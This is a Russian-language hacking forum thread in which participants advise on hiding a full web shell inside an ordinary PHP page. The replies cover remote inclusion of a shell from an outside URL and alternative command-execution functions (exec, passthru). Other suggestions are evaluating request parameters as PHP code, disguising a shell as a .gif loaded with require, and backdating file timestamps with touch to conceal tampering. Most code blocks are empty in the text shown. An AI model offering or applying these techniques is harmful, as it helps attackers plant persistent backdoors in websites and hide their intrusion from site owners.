![]() |
Как спрятать шелл внутри страницы?
Еще один вопрос
как можно спрятать полноценный шелл внутри страницы? Т.е. если заходишь faq.php - была страница faq, а если faq.php?shell - открывался шелл Нужен именно полноценный, а не такой типа system($_GET["cmd"]); и без инклуда |
сделай удаленный инклуд
PHP код:
|
там функция инклуд снесена ((
|
какие там функции отключены?
|
mb_send_mail,error_log,symlink,include,system
|
PHP код:
Код:
site.com/faq.php?shell=http://site.domen/shell.txt |
Что-то инклудится не хочет. Показывает пустой экран
Тогда другой вопрос, какими еще функциями(кроме system) можно выполнять команды например wget и ls -la И еще, можно-ли изменить дату редактирования файла без system() ? |
exec(), passthru()
|
попробуй так:
Цитата:
параметры интерпритируються как пхп код |
Огромное Спасибо ENFIX
Я догадался, как засунуть код шелла на станицу PHP код:
Только остался один вопрос Можно ли изменить дату изменения файлов? |
да, можно, например
touch 01221240 /etc/passwd будет 22 января 12:40 |
и все изобретают велосипед поновой пользуйся поиском
http://forum.antichat.ru/showthread.php?t=30873 |
Берешь шел. переименовываешь в blabla.gif,, кидаешь в папку с картинками..
ну и дальше к примеру if ($_get['faq']=="show") @require('./относительный_путь_к картинке'); |
| Время: 12:47 |